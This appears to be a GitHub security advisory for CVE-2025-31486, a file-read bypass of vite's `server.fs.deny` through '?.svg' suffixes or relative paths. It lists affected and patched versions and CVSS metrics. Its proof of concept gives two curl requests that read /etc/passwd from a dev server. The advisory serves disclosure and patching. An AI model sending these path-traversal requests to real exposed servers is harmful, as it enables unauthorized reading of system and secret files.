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`server.fs.deny` bypassed with `.svg` or relative paths

Moderate
patak-dev published GHSA-xcj6-pq6g-qj4x Apr 3, 2025

Package

npm vite (npm)

Affected versions

>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11

Patched versions

>=6.2.5
>=6.1.4, <6.2.0
>=6.0.14, <6.1.0
>=5.4.17, <6.0.0
>=4.5.12, <5.0.0

Description

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

if (svgExtRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
if (shouldInline(environment, file, id, content, undefined, undefined)) {
return assetToDataURL(environment, file, content)
}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

CVE ID

CVE-2025-31486

Credits